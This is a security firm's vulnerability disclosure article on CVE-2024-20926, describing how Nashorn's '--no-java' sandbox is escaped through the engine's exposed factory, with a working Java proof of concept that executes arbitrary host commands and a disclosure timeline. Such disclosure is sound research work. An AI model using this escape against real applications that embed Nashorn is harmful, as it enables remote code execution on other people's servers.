En cas d’incident de sécurité, notre Force d’intervention Rapide est disponible 24h/24 et 7j/7

CVE-2024-20926: Security bypass leading to remote code execution on Nashorn Javascript Engine.

 

Maillon de chaine fragilisé dans univers numérique

< Retour

Thématique : Vulnérabilités

Type de contenu : Article

Langue : Anglais

In late 2023, during a security analysis for one of it’s recurrent client, Formind encountered an application that would allow one to manage APIs. From the numerous fonctionnalities, one caught the eyes of the auditors: the ability to intercept and edit HTTP requests that are going to an API via some Javascript code. After some research, Formind’s auditors discovered that the Javascript was interpreted by Nashorn, a Java programmed Javascript engine. They then discovered that this engine had a vulnerability that would allow an attacker to execute Java code on the host machine. Bare with us on the journey of discovering Nashorn and the underlying problem

An hello world using Nashorn

Basically the Javascript engine is used like this:

    public static void main(String[] args) throws Exception {
        ScriptEngine engine = new NashornScriptEngineFactory().getScriptEngine("--no-java");
        engine.eval("print('Hello from Nashorn !')");

    }

As you can see in the code above, it is fairly straightforward. You instantiate a NashornScriptEngineFactory and ask it to generate a ScriptEngine with any options representing the protections of the engine. In this example we added the option –no-java, which in theory prevents one to execute Java code (and therefore escape the sandbox) from within Nashorn. At that point we decided to see whether it was really impossible for us to escape and one thing caught our interest: once inside the sandbox you have access to the variable named this and it points to the engine itself. Time to look at this ScriptEngine object !

The insides of the Nashorn Engine

The engine exposes the following APIs to us:

    public Object eval(final Reader reader, final ScriptContext ctxt)
    public Object eval(final String script, final ScriptContext ctxt)
    public ScriptEngineFactory getFactory()
    public Bindings createBindings()
    public CompiledScript compile(final Reader reader)
    public CompiledScript compile(final String str)
    public <T> T getInterface(final Class<T> clazz)
    public <T> T getInterface(final Object thiz, final Class<T> clazz)
    public Object eval(final ScriptContext ctxt)
    public ScriptEngine getEngine()

As you can see there are multiple methods, most of them are irrelevant to us but we can note a few things:

  • There’s 3 eval methods, those are the ones that take the javascript code and run it. Our input is in one those methods.
  • The getFactory method allows having access to the factory object that created the ScriptEngine object. Wait what ??

At that point, we realized we most likely have an RCE no matter the security options and we decided to try it locally. Here is the idea: we instantiate an engine with the security option –no-java, we run javascript code that uses this to get access to the ScriptEngineFactory object, and we recreate from there a new ScriptEngine with no protections and use it to run in-fine java code. Quite the plan heh ! Here is the proof of the concept:

package app;

import javax.script.*;

import org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory;

public class main {

    public static void main(String[] args) throws Exception {
        if (args.length != 1) {
            System.out.println("Usage: java -jar demo.jar command_to_launch");
        } else {
            ScriptEngine engine = new NashornScriptEngineFactory().getScriptEngine("--no-java");
            engine.eval("
                print(
                    this.engine.getFactory()
                        .getScriptEngine()
                        .eval(\"Java.type(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"" + args[0] + "\\\")\")
                )"
            );	
        }
        
    }

}

Note: The command to execute is to be passed to the POC from the command line

And after a quick try:

Success ! We executed command on the host system !

At that point we sent the PoC to OpenJDK who in turn gave us the CVE-2024-20926

Thanks for reading !

Timeline

  • 07 July 2023: first contact with OpenJDK
  • 11 July 2023: PoC sent
  • August 2023: Vulnerability validated
  • 12 January 2024: CVE allocated and patch date given
  • 16 January 2024: Patch date and end of the NDA

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *